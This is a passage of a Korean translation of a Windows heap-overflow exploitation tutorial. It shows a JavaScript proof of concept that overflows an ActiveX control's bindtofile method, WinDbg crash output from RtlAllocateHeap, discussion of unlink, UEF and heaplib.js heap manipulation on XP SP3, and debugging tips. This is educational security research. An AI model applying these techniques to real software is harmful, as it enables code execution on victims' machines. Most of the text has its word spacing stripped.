모든세그먼트를사용하였음에도불구하고또다른세그먼트를생성하지못한 상태이다. 이제뭘해야할까?? 일단 unlink 동작을유발 (trigger) 시켜야한다는 것은알고있다. unlink 유발을위해윈도우힙매니저가할당된버퍼에모든 데이터를복사 ( 다른덩어리들도덮어씀 ) 해야한다. 단, 현재세그먼트는그대로두어야 한다. 그러면다음할당, 해제가발생했을때 unlink 동작을시도한다. PoC 코드를 4000 바이트대신에 2240 바이트를오버플로우시키게변경했다. var x = unescape("%41"); while (x.length<2240) x += x; x = x.substring(0,2240); target.bindtofile(x,1); 이제버그를유발하면브라우저가크래시되지않는다. 물론덩어리는오버플로우 된상태지만다른 unlink 동작이수행될때까지크래시되지않는다. 그러나 브라우저를종료할때, 가비지컬렉터 (garbage collector) 가실행되어해제된모든 덩어리를할당하기때문에 RtlAllocateHeap() 함수를여러번호출하게되어 버그가유발된다. 이때익스플로잇가능성은좀더안정적이게된다. (384c.16e0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141 eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 ntdll!rtlallocateheap+0x567: \ 7c9111de 8b10 mov edx,dword ptr [eax] ds:0023:41414141=???????? 익스플로잇가능성을발견하였다. 이번취약점의경우 Flink 포인터가 EAX에, Blink 포인터가 EDI에저장된다. Windows XP SP1 이하환경에서간단히 UEF 함수를덮어써서제어를얻을수있다. 그러나브라우저에서강력한스크립트기능을이용하여힙을조절할수있기때문에, XP SP3 환경을대상으로공격을진행할것이다. 힙레이아웃을분석하던중에액티브엑스컨트롤이실행될때컨트롤자신의힙을생성ㅇ하고크래시가 freelist 삽입과정에서유발된것을알게되었다.
heaplib.js 라이브러리를이용하여힙을성공적으로변조할수있었으나변조된것은기본힙이다. 문제는기본힙은액티브엑스컨트롤의힙이아니라는것이다. 따라서변조했을때좀더살펴보니실제익스플로잇이불가능해보였다. 물론잘못분석하여발생된오해일수있으나본인의분석결과로는익스플로잇이힘들어보였다. 만약객체의힙이변조되지않으면익스플로잇할수없다.
Hooking 후킹 힙오버플로우취약점이있는어플리케이션을디버깅할때유용한팁을알려주자면할당 / 해제횟수와그사이즈이다. 프로세스 / 쓰레드가실행되는동안수많은할당과해제작업이만들어지는데해당순간은모두 BP를설정해야하는순간이다. BP 설정을위해서이뮤니티디버거에서꽤좋은기능이제공되는데, 바로!hookheap 플러그인을이용하여 RtlAllocateHeap(), RtlFreeHeap() 함수를후킹하여자동으로사이즈와할당 / 해제횟수를기록하여알려준다. 위사진에서보는것처럼특정할당이발생하고, 큰바이트사이즈의할당이 목표바이너리 (vulnerable server) 를나타내고있다.
결론 Conclusion 힙매니저는이해하기에매우복잡하고힙오버플로우익스플로잇을위해서는수많은시간, 각각다른여러가지상황들이필요하다. 목표어플리케이션의현재상황과제약사항을이해하는것은힙오버플로우익스플로잇가능성을알아내는키가된다. 마이크로소프트에의해강제적으로적용된보호기법들은일반적인힙오버플로우를방어한다. 그럼에도불구하고어플리케이션을많이분석하여다양한상황을겪는다면방어기법을무시하여익스플로잇을성공할수도있다. 참고문헌 - [ 원문 ] https://www.fuzzysecurity.com/tutorials/mr_me/3.html - http://windbg.info/doc/1-common-cmds.html - http://www.insomniasec.com/publications/heaps_about_heaps.ppt - http://cybertech.net/~sh0ksh0k/projects/winheap/xpsp2 Heap Exploitation.ppt - some small aspects from: http://illmatics.com/understanding_the_lfh.pdf - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt - http://www.insomniasec.com/publications/exploiting_freelist[0]_on_xpsp2.zip - http://www.insomniasec.com/publications/depindepth.ppt (heap segment information) - Advanced windows Debugging (Mario Hewardt) - www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf - http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html - http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt - Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007): http://kkamagui.springnote.com/pages/1350732/attachments/579350